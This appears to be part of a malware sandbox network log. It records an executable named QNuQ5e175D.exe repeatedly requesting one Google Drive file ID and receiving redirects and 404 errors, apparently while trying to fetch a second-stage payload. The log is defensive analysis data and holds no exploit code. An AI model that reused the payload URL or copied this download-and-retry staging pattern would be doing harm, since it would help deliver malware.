2025-01-11 04:06:06 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:05 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-mo6H5axHd-m66avLdY27EQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49899	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:06 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:07 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSz4JJ8K40AwlCuQSzhm6caGWtikNTIeyWkUYW7zGpeC5SgjT1D6Cx_r_j1CAEmdpAn Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:07 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-QIqOKJo2_cz0vSGF6AadGw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:07 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 69 76 52 36 36 68 6b 44 37 4c 6c 63 49 72 34 70 76 73 36 4f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SivR66hkD7LlcIr4pvs6Og">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49909	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:08 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:08 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:08 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-tl3kSo0rUTKe4bzGUR9mug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49916	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:09 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:09 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQrxNivytgpzIfroY0Km0Oa-BzAOcmlbaiJ6dQpGvoHB-7qR2ZBjmn_jV5K9UWPgTJnpKoelQM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:09 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-S6Tnd-aNAsf65K3p4SIduw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:09 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 72 37 79 4c 67 64 6d 73 37 65 61 63 45 43 57 39 33 35 68 71 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Vr7yLgdms7eacECW935hqA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49926	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:10 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:10 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:10 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Hm3dRt2X4ZSbp7pNa2EIgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49933	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:11 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:11 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQevJy5pKGLnkINqKLQFJTEPMiQDZdVwHbAHIDueYLep5wA6a4z1sJPHn2X-0Z8kSTz Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:11 GMT Content-Security-Policy: script-src 'nonce-gQ62IfalAGZa63GOZV9y4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:11 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 5a 77 66 55 6f 71 45 6b 30 70 46 2d 6f 31 58 32 6c 36 70 78 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pZwfUoqEk0pF-o1X2l6pxg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49943	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:12 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:13 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:12 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-NwbcgAi-ECTgEZvn6RWzHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49950	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:13 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:14 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRLB1Bf6Wbp5FM0bH_v8mp-g6dua5NPQE_sGXKc_8m4rUKAOsBii_IU2X07oAyqs4wvYVFLwH0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:13 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--E3SRwmpsQuIeF1zFLz4Tw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:14 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 64 66 57 71 49 64 58 6b 5f 6f 52 63 34 63 77 4c 66 4e 5f 46 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ddfWqIdXk_oRc4cwLfN_Fw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49959	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:14 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
